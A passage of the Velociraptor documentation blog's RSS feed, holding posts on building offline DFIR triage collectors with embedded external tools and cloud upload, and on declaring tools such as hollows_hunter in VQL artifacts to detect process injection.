analysis of&lt;a href=&#34;https://golang.org/pkg/net/http/pprof/&#34; target=&#34;_blank&#34; &gt; sampled backtrace&lt;/a&gt;s).&lt;/p&gt;&#xA;&lt;p&gt;We find this extremely valuable in the Velociraptor project, but the same approach can be replicated by any Golang project:&lt;/p&gt;&#xA;&#xA;&lt;div class=&#34;mynotices note&#34;&gt;&#xA;  &lt;div heading=&#34;note&#34;&gt;&lt;p&gt;By exposing profiling and debugging information to our users, in running production binaries we are able to easily get high value visibility into hard to reproduce error conditions and therefore be more effective in isolating and fixing bugs.&lt;/p&gt;&#xA;&lt;/div&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;p&gt;If you are interested in looking inside Velociraptor’s inner workings, check out the&lt;a href=&#34;https://github.com/Velocidex/velociraptor&#34; target=&#34;_blank&#34; &gt; GitHub&lt;/a&gt; page and join us on Discord and our mailing list.&lt;/p&gt;&#xA;</description>
    </item>
    <item>
      <title>Triage with Velociraptor — Pt 4</title>
      <link>https://www.velociraptor-docs.org/blog/2020/2020-07-14-triage-with-velociraptor-pt-4-cf0e60810d1e/</link>
      <pubDate>Tue, 14 Jul 2020 00:38:44 +0000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/2020/2020-07-14-triage-with-velociraptor-pt-4-cf0e60810d1e/</guid>
      <description>&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-07-14-triage-with-velociraptor-pt-4-cf0e60810d1e/https://cdn-images-1.medium.com/max/2560/1*M5dVyBt08NsIIsxq32V3uQ.jpeg&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Woman vector created by vectorpouch — www.freepik.com&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    Woman vector created by vectorpouch — www.freepik.com&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;em&gt;&lt;a href=&#34;https://www.freepik.com/free-photos-vectors/woman&#34; target=&#34;_blank&#34; &gt;Woman vector created by vectorpouch &lt;/a&gt;— &lt;a href=&#34;http://www.freepik.com&#34; target=&#34;_blank&#34; &gt;www.freepik.com&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Velociraptor is a great tool for collecting Artifacts such as files and other state information from endpoints. Artifacts are simply VQL queries wrapped inside a YAML file providing the query with sufficient context to operate. Typically the triage phase of the DFIR process involves collecting and preserving evidence as quickly as possible, performing quick analysis in order to identify machines of interest for further analysis.&lt;/p&gt;&#xA;&lt;p&gt;The previous parts in this triage article series covered various scenarios where Velociraptor can help with triage. &lt;a href=&#34;https://medium.com/velociraptor-ir/triage-with-velociraptor-pt-1-253f57ce96c0&#34; target=&#34;_blank&#34; &gt;Part 1&lt;/a&gt; explored the &lt;strong&gt;Windows.KapeFiles.Targets&lt;/strong&gt; artifact — an artifact primarily focused on collecting and preserving files. &lt;a href=&#34;https://medium.com/velociraptor-ir/triage-with-velociraptor-pt-2-d0f79066ca0e&#34; target=&#34;_blank&#34; &gt;Part 2&lt;/a&gt; explained how artifacts can be added to a configuration file embedded inside the binary producing an automated collector — as soon as the binary is run, it will simply collect the artifacts it was pre-programmed with. &lt;a href=&#34;https://medium.com/velociraptor-ir/triage-with-velociraptor-pt-3-d6f63215f579&#34; target=&#34;_blank&#34; &gt;Part 3&lt;/a&gt; levels up our capabilities and shows how to automatically upload the collected files to a cloud bucket.&lt;/p&gt;&#xA;&lt;p&gt;We have received a lot of feedback from users about the processes described in these articles and to be honest it is a bit fiddly — one needed to edit YAML config files and call a sequence of commands to make it work.&lt;/p&gt;&#xA;&lt;p&gt;Therefore, in recent releases, Velociraptor has grown a GUI to make this process much easier and more robust. This article will introduce this GUI and discuss how you can build a custom offline collector that collects a bunch of artifacts, then uploads them into a cloud bucket.&lt;/p&gt;&#xA;&lt;h3 id=&#34;installing-a-local-server&#34;&gt;Installing a local server&lt;/h3&gt;&#xA;&lt;p&gt;Before we can create a new custom collector, we need to access the GUI — this means running a minimal Velociraptor server. If you already have a proper Velociraptor server deployed you could just use that. For this article I will work on windows by spinning up a local temporary server.&lt;/p&gt;&#xA;&lt;p&gt;First I have downloaded and installed the official MSI package from the &lt;a href=&#34;https://github.com/Velocidex/velociraptor/releases&#34; target=&#34;_blank&#34; &gt;Velociraptor releases page&lt;/a&gt;. This will unpack the executable in the **C:\Program Files\Velociraptor\ ** directory.&lt;/p&gt;&#xA;&lt;p&gt;In order to start a Velociraptor server I will create new server configuration file by running the interactive wizard using&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-sh&#34;&gt;# velociraptor.exe config generate -i&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-07-14-triage-with-velociraptor-pt-4-cf0e60810d1e/../../img/15wHG_tix0ZpeXIJuYScWKg.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;We will be running the server on &lt;strong&gt;Windows&lt;/strong&gt;, Using the &lt;strong&gt;FileBaseDataStore&lt;/strong&gt; with a &lt;strong&gt;Self-signed SSL&lt;/strong&gt; configuration. I will also add a user called “&lt;strong&gt;mic&lt;/strong&gt;” to the server (basically I pressed enter on each question to accept the default).&lt;/p&gt;&#xA;&lt;p&gt;Now I can start the frontend using:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-sh&#34;&gt;# velociraptor.exe -c server.config.yaml frontend -v&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-07-14-triage-with-velociraptor-pt-4-cf0e60810d1e/../../img/1MneJxbjF5TmYUxzmCaOrWw.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The GUI will be listening on &lt;a href=&#34;https://127.0.0.1:8889/&#34; target=&#34;_blank&#34; &gt;https://127.0.0.1:8889/&lt;/a&gt; by default. So let&amp;rsquo;s visit it with our browser&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-07-14-triage-with-velociraptor-pt-4-cf0e60810d1e/../../img/1vcBHvISTTRm_B0NlBanD2Q.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;building-the-offline-collector&#34;&gt;Building the offline collector&lt;/h3&gt;&#xA;&lt;p&gt;An offline collector is simply a binary which is pre-configured to collect certain artifacts — when the user runs it without arguments, the binary will start collecting the artifacts and then terminate.&lt;/p&gt;&#xA;&lt;p&gt;The script that actually builds the binary is a server side VQL artifact (it is actually running VQL on the server) hence we need to launch it from the “Server Artifacts” screen on the left sidebar.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-07-14-triage-with-velociraptor-pt-4-cf0e60810d1e/../../img/1yA8N8OgcVKP-kvjJwnljwQ.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Click the &lt;strong&gt;Build Collector&lt;/strong&gt; button to bring up an artifact search dialog. This dialog is very similar to the one you use to collect artifacts from the endpoint in a client/server model — and for a good reason! An offline collector is simply a way to collect the artifacts that we could have collected using a client/server without having a full Velociraptor deployment. We are using sneakernet rather than internet to transfer the files, but the data we collect are exactly the same!&lt;/p&gt;&#xA;&lt;p&gt;For this example, we will collect the KapeFiles targets as in previous articles. Simply click add to add this artifact to the collection set. You can add multiple different artifacts at the same time. Note that you are not restricted to just collect files! You can collect processes, memory or any other artifact you can think of — Velociraptor will just collect each one into the one output zip file.&lt;/p&gt;&#xA;&lt;h3 id=&#34;configuring-the-artifacts&#34;&gt;Configuring the artifacts&lt;/h3&gt;&#xA;&lt;p&gt;Velociraptor artifacts take parameters to control and customize the VQL they run. Depending on the chosen artifacts, different parameters will be available for configuration. Simply scroll down to select which Kape target file to collect As a reminder a KapeFile target (.&lt;strong&gt;tkape&lt;/strong&gt;) file is a simple YAML file specifying a file glob pattern selecting certain files to collect.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-07-14-triage-with-velociraptor-pt-4-cf0e60810d1e/../../img/1sfdds6gdFa5irpLQuCsh1A.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;We will simply select the &lt;strong&gt;BasicCollection&lt;/strong&gt; which includes things like the registry hives, the USN Journal etc. When we are happy with the collection, click Next.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-07-14-triage-with-velociraptor-pt-4-cf0e60810d1e/../../img/1UP2MAPGNch_5ezdrWKUL9g.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Velociraptor will repack the Velociraptor binary with the required artifacts, so here we need to select the target operating system. Let’s leave the &lt;strong&gt;Collection Type&lt;/strong&gt; as &lt;em&gt;Zip Archive&lt;/em&gt; for now — this simply creates a large Zip file containing all the collected data. Clicking Next now begins the build process. The first time we run this after install, Velociraptor will contact GitHub to download all the binaries it might require so it might take a few minutes to get started.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-07-14-triage-with-velociraptor-pt-4-cf0e60810d1e/../../img/1URkBb2Wl0uQZszjygM7Baw.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;This process simply ends up calling the &lt;strong&gt;Server.Utils.CreateCollector&lt;/strong&gt; artifact. The Artifact runs VQL query which creates the packed binary (on the server) and uploads it to the server again. We can simply click* “Prepare Download”* to obtain a zip file with the executable in it.&lt;/p&gt;&#xA;&lt;h3 id=&#34;running-the-collector&#34;&gt;Running the collector&lt;/h3&gt;&#xA;&lt;p&gt;I will now download the zip file from the server and extract the collector into the download directory for testing.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-07-14-triage-with-velociraptor-pt-4-cf0e60810d1e/../../img/1djPVk9gI3TP-c-zQhd93uA.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-07-14-triage-with-velociraptor-pt-4-cf0e60810d1e/../../img/1NOxJpFX8xRlepBT2YZD8qA.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Simply running the binary will begin to collect all the artifacts we specified — in this case the KapeFile Basic Collection target. Finally an output Zip file and a HTML report will be produced using the hostname and timestamp.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-07-14-triage-with-velociraptor-pt-4-cf0e60810d1e/../../img/18Dv9vI8lZ8FYm1MxbUAR1w.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;including-external-tools&#34;&gt;Including external tools&lt;/h3&gt;&#xA;&lt;p&gt;Since release 0.4.6, Velociraptor has built in support for external tools. This means that artifacts that declare tools that they need will receive those binaries on the endpoint when they are being collected. We previously described&lt;a href=&#34;https://medium.com/velociraptor-ir/velociraptor-in-the-tool-age-d896dfe71b9?source=friends_link&amp;amp;sk=20178bda3d9accc46d343b1c825c75a6&#34; target=&#34;_blank&#34; &gt; this process&lt;/a&gt; using the client/server model.&lt;/p&gt;&#xA;&lt;p&gt;When building an Offline collector, Velociraptor will also embed the external tools directly into the binary without needing to do anything different with the artifact. Note that the offline collector &lt;strong&gt;does not download&lt;/strong&gt; the tool from an external URL — the tool is already packaged in the collector binary itself.&lt;/p&gt;&#xA;&#xA;&lt;div class=&#34;mynotices tip&#34;&gt;&#xA;  &lt;div heading=&#34;tip&#34;&gt;&lt;p&gt;The artifact will run the same way when used in client/server mode or&#xA;in offline collector mode. This makes it easier to use the same&#xA;reusable VQL in different contexts.&lt;/p&gt;&#xA;&lt;/div&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;p&gt;Let’s try to collect the same artifact we did previously — the &lt;strong&gt;hollows hunter&lt;/strong&gt; artifact. Just to recap the artifact is shown below&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-vql&#34;&gt;name: Custom.Windows.Detection.ProcessHollowing&#xA;description: |&#xA;   Use hollows_hunter to detect suspicious process injections.&#xA;&#xA;   Upload any findings to the server, including process dumps.&#xA;&#xA;tools:&#xA; - name: hollows_hunter&#xA;   url: https://github.com/hasherezade/hollows_hunter/releases/download/v0.2.7.1/hollows_hunter64.exe&#xA;&#xA;sources:&#xA;  - precondition:&#xA;      SELECT OS From info() where OS = &#39;windows&#39;&#xA;&#xA;    query: |&#xA;      -- Get the path to the hollows_hunter tool and a fresh temp directory.&#xA;      LET binaries &amp;lt;= SELECT FullPath, tempdir() AS TempDir&#xA;      FROM Artifact.Generic.Utils.FetchBinary(&#xA;         ToolName=&amp;quot;hollows_hunter&amp;quot;)&#xA;&#xA;      -- Run the tool and relay back the output, as well as upload all the files from the tempdir.&#xA;      SELECT * FROM chain(&#xA;      a={SELECT Stdout, NULL AS Upload&#xA;         FROM execve(argv=[binaries[0].FullPath,&#xA;           &amp;quot;/json&amp;quot;, &amp;quot;/dir&amp;quot;, binaries[0].TempDir], length=100000)},&#xA;      b={&#xA;        SELECT upload(file=FullPath) AS Upload&#xA;        FROM glob(globs=&amp;quot;*&amp;quot;, root=binaries[0].TempDir)&#xA;      })&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I will just add it to the Offline Collector builder&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-07-14-triage-with-velociraptor-pt-4-cf0e60810d1e/../../img/11zNKC3hp53YU6rqlcW3bfQ.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Build the collector as before… extract it to the downloads directory again and launch the collector binary.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-07-14-triage-with-velociraptor-pt-4-cf0e60810d1e/../../img/17xUMzXapzXS_7HFXgQQzww.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;We can see that the &lt;strong&gt;hollows_hunter64.exe&lt;/strong&gt; binary is copied into a temp file, executed and its results uploaded into the zip file. All temp files are cleaned up after collection.&lt;/p&gt;&#xA;&lt;h3 id=&#34;collecting-to-the-cloud&#34;&gt;Collecting to the cloud.&lt;/h3&gt;&#xA;&lt;p&gt;Previously we collected files into a local Zip file. Sometimes it is more convenient to upload the collection to a cloud bucket so the user does not need to worry about transferring a large collection to us.&lt;/p&gt;&#xA;&lt;p&gt;To do this, simply select a different Collection Type — I will choose AWS bucket or you can also upload to Google Cloud Storage. You will need to obtain an upload key for the S3 bucket. This is described in the &lt;a href=&#34;https://docs.aws.amazon.com/general/latest/gr/aws-sec-cred-types.html#access-keys-and-secret-access-keys&#34; target=&#34;_blank&#34; &gt;AWS documentation&lt;/a&gt;. You should also restrict key access to the bucket to upload only since the keys are embedded inside the collector binary (See the AWS &lt;a href=&#34;https://docs.aws.amazon.com/AmazonS3/latest/dev/example-policies-s3.html&#34; target=&#34;_blank&#34; &gt;examples on user policies&lt;/a&gt;).&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-07-14-triage-with-velociraptor-pt-4-cf0e60810d1e/../../img/1hcyeu84ENyeT0z3f4i7ocA.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Running this, the collector will automatically upload the zip file and the report to the cloud bucket.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-07-14-triage-with-velociraptor-pt-4-cf0e60810d1e/../../img/1wx7sv-gvtvSUXBHYwDLzUA.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;conclusions&#34;&gt;Conclusions&lt;/h3&gt;&#xA;&lt;p&gt;Velociraptor is simply a VQL evaluation engine. Although it works best in client/server mode sometimes we have to use an offline collector. The Offline collector is independent and pre-programmed to collect the most appropriate artifacts for triage and then upload the data to a safe location. You can launch the offline artifact across the network via group policy, WMI or WinRM as a kind of poor-man’s remote forensics platform.&lt;/p&gt;&#xA;&lt;p&gt;Remember that the offline collector is not limited to simply collecting files! It has the full power of Velociraptor at its disposal so it can collect any volatile machine state that can be collected by Velociraptor — including process memory scanning and dumping, file yara scans, MFT analysis and more.&lt;/p&gt;&#xA;&lt;p&gt;To play with this new feature yourself, take Velociraptor for a spin! It is a available on &lt;a href=&#34;https://github.com/Velocidex/velociraptor&#34; target=&#34;_blank&#34; &gt;GitHub&lt;/a&gt; under an open source license. As always please file issues on the bug tracker or ask questions on our mailing list &lt;a href=&#34;mailto:velociraptor-discuss@googlegroups.com&#34; target=&#34;_blank&#34; &gt;velociraptor-discuss@googlegroups.com&lt;/a&gt; . You can also chat with us directly on discord &lt;a href=&#34;https://www.velocidex.com/discord&#34; target=&#34;_blank&#34; &gt;https://www.velocidex.com/discord&lt;/a&gt;&lt;/p&gt;&#xA;</description>
    </item>
    <item>
      <title>Velociraptor in the tool age</title>
      <link>https://www.velociraptor-docs.org/blog/2020/2020-07-13-velociraptor-in-the-tool-age-d896dfe71b9/</link>
      <pubDate>Mon, 13 Jul 2020 00:38:44 +0000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/2020/2020-07-13-velociraptor-in-the-tool-age-d896dfe71b9/</guid>
      <description>&lt;p&gt;Velociraptor is a powerful endpoint visibility tool. It has plugins&#xA;and parsers for many file formats, such as raw NTFS access, raw&#xA;registry hive, prefetch files etc.&lt;/p&gt;&#xA;&lt;p&gt;However, as most DFIR professionals know, there are so many tools out&#xA;there that we would love to use in our IR work. One of the strengths&#xA;of Velociraptor is its flexibility afforded by the use of the&lt;a href=&#34;https://www.velociraptor-docs.org/docs/vql/&#34;&gt;&#xA;Velociraptor Query Language (VQL).&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;We have written before on how VQL can be extended by use of short&#xA;&lt;a href=&#34;https://www.velociraptor-docs.org/blog/2020/2020-06-14-the-velociraptor-query-language-pt-1-d721bff100bf/&#34;&gt;PowerShell scripts&lt;/a&gt;,&#xA;by including these scripts directly in the Artifact&#xA;definitions. This is a great way to extend the functionality provided&#xA;by VQL, but what if we wanted to launch a completely separate binary&#xA;on the endpoint, or a larger powershell module? How can Velociraptor&#xA;facilitate the distribution, coordination and collection of tool&#xA;output from thousands of endpoints efficiently and quickly?&lt;/p&gt;&#xA;&lt;p&gt;Since &lt;a href=&#34;https://github.com/Velocidex/velociraptor/releases&#34; target=&#34;_blank&#34; &gt;release 0.4.6&lt;/a&gt;,&#xA;Velociraptor supports including external tools directly in the&#xA;artifact definition. This makes it easier than ever before to use&#xA;external tools in your artifacts transparently — Velociraptor will&#xA;ensure the tool is downloaded to the endpoint if needed and is&#xA;available for use in your VQL.&lt;/p&gt;&#xA;&lt;h3 id=&#34;example-hollows-hunter&#34;&gt;Example: Hollows hunter&lt;/h3&gt;&#xA;&lt;p&gt;To illustrate the process, we will use the &lt;a href=&#34;https://github.com/hasherezade/hollows_hunter&#34; target=&#34;_blank&#34; &gt;hollows hunter&#xA;tool&lt;/a&gt; as an&#xA;example. This tool is written by the amazing&#xA;&lt;a href=&#34;https://hasherezade.github.io/&#34; target=&#34;_blank&#34; &gt;HASHEREZADE&lt;/a&gt; who develops a bunch of&#xA;useful tools to inspect binaries in memory (most famous is the&#xA;&lt;a href=&#34;https://github.com/hasherezade/pe-sieve&#34; target=&#34;_blank&#34; &gt;pe_sieve&lt;/a&gt; tool).&lt;/p&gt;&#xA;&lt;p&gt;We would like to develop a Velociraptor artifact that collects all&#xA;processes potentially injected by using the hollows hunter on the&#xA;endpoint. Before we start though, we need to actually have such a&#xA;sample to test on.&lt;/p&gt;&#xA;&lt;p&gt;Thanks to the Atomic Red Team we can use a simple test to inject a dll&#xA;into notepad++. I will use the test for&#xA;&lt;a href=&#34;https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1055/T1055.md#atomic-test-1---process-injection-via-mavinjectexe&#34; target=&#34;_blank&#34; &gt;T1055&lt;/a&gt;&#xA;to inject the dll into &lt;em&gt;notepad++.exe&lt;/em&gt; on my test VM (which has the&#xA;Process ID 4108):&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;img class=&#34;inline&#34;&#xA;     src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-07-13-velociraptor-in-the-tool-age-d896dfe71b9/1E6SBS406C2B-3BVVJ10Sig.png&#34;&#xA;     width=&#34;741&#34;&#xA;     height=&#34;56&#34;/&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Now we can check that hollows hunter detects this:&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;img class=&#34;inline&#34;&#xA;     src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-07-13-velociraptor-in-the-tool-age-d896dfe71b9/1wt1KqixkeSs8Ael96fpAXA.png&#34;&#xA;     width=&#34;340&#34;&#xA;     height=&#34;80&#34;/&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;writing-the-artifact&#34;&gt;Writing the artifact&lt;/h3&gt;&#xA;&lt;p&gt;We now create the artifact in the Velociraptor GUI. Start off by&#xA;selecting the &lt;em&gt;“View Artifacts”&lt;/em&gt; pane in the left sidebar and click&#xA;the* “New Artifact”* button to bring up the artifact editor UI. The&#xA;editor will have a pre-filled in template which helps to guide the&#xA;user to produce the correct syntax so I will just edit that.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-07-13-velociraptor-in-the-tool-age-d896dfe71b9//blog/2020/2020-07-13-velociraptor-in-the-tool-age-d896dfe71b9/1s9fGjhLnwf2uW4vRt3qCQA.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34;&#xA;         width=&#34;1085&#34; height=&#34;813&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;1s9fGjhLnwf2uW4vRt3qCQA.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The first thing I will do is name the artifact&#xA;&lt;em&gt;“Custom.Windows.Detection.ProcessHollowing”&lt;/em&gt;. Since this is a custom&#xA;artifact, it must start with the word **Custom. **to keep it distinct&#xA;from Velociraptor’s built in artifacts. I can also add a quick&#xA;description to help users understand what this artifact does.&lt;/p&gt;&#xA;&lt;p&gt;Next I will declare that this artifact needs the &lt;strong&gt;hollows_hunter&lt;/strong&gt;&#xA;tool. Velociraptor will ensure this tool is available on the endpoint&#xA;when the artifact is collected. The tool’s name is simply a string&#xA;that I will use to refer to the tool below. It will be automatically&#xA;added to Velociraptor’s inventory of external tools.&lt;/p&gt;&#xA;&lt;p&gt;By providing the url, Velociraptor can fetch the tool by itself from&#xA;this URL. If the tool is not yet known to Velociraptor, the server&#xA;will fetch the file and calculate the hash the first time and store&#xA;it. In the next section we can see how to manage tools in&#xA;Velociraptor.&lt;/p&gt;&#xA;&lt;p&gt;Now we are ready to write the VQL that will use the tool. The VQL will&#xA;run on the endpoint during collection and will need a valid path to&#xA;the hollows hunter executable. Velociraptor will manage uploading the&#xA;executable to the endpoint and 